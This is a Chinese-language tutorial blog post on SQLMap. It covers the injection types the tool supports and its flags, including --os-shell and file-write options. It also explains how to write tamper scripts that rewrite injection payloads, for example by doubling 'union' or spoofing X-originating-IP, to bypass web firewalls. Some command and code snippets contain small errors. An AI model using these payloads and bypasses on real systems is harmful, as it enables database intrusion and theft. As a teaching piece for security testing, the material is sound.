美文网首页
入门渗透工具--SQLMap

入门渗透工具--SQLMap

作者: 正能量y先生 | 来源:发表于2019-05-14 11:47 被阅读0次

SQlMap详解

  支持的数据库(目前10个):MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebrid、Sybase和SAP MaxDB

  1、基于布尔类型的盲注

  2、基于时间的盲注

  3、基于报错注入

  4、联合查询注入

  5、堆查询注入
入门:
  sql -u URL:当参数大于两个时加双引号

  sql -r 文件

例: --dbs-D * --tables-D * -T * --columns-D * -T * -C username,password --dump

  --current-user
进阶:
1、--level 探测等级

2、--is-dba 当前用户是否为管理权限

3、--roles: 列出数据库管理员角色

4、--referer:HTTP referer 头

5、--sql-shell:运行自定义SQL语句

6、--os-cmd,--os-shell:运行任意操作系统命令

7、从数据库中读取文件

8、--file-write --file-dest:上传文件到数据库服务器中

SQL自带绕过脚本tamper的讲解

  tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。
一个最小的例子:
# sqlmap/tamper/escapequotes.py

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload.replace("'", "\\'").replace('"', '\\"')

不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。
priority定义脚本的优先级,用于有多个tamper脚本的情况。
dependencies函数声明该脚本适用/不适用的范围,可以为空。
tamper是主要的函数,接受的参数为payload和**kwargs
返回值为替换后的payload。比如这个例子中就把引号替换为了\'。

0x02 详细介绍

第一部分完成了一个最简单的tamper架构,下面我们进行更详细的介绍
tamper函数
tamper是整个脚本的主体。主要用于修改原本的payload。举例来说,如果服务器上有这么几行代码

$id = trim($POST($id),'union');
$sql="SELECT * FROM users WHERE id='$id'";

而我们的payload为

-8363'  union select null -- -

这里因为union被过滤掉了,将导致payload不能正常执行,那么就可以编写这样的tamper

def tamper(payload, **kwargs):
    return payload.replace('union','uniounionn')

保存为replaceunion.py,存到sqlmap/tamper/下,执行的时候带上--tamper=replaceunion的参数,就可以绕过该过滤规则
dependencies函数
dependencies函数,就tamper脚本支持/不支持使用的环境进行声明,一个简单的例子如下:

# sqlmap/tamper/echarunicodeencode.py

from lib.core.common import singleTimeWarnMessage

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])

singleTimeWarnMessage() 用于在控制台中打印出警告信息
kwargs
在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header,这里以其中一个为例进行简单说明

# sqlmap/tamper/vanrish.py

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

这个脚本是为了更改X-originating-IP,以绕过WAF,另一个kwargs的使用出现于xforwardedfor.py,也是为了改header以绕过waf

相关文章

网友评论

      本文标题:入门渗透工具--SQLMap

      本文链接:https://www.haomeiwen.com/subject/hjfsaqtx.html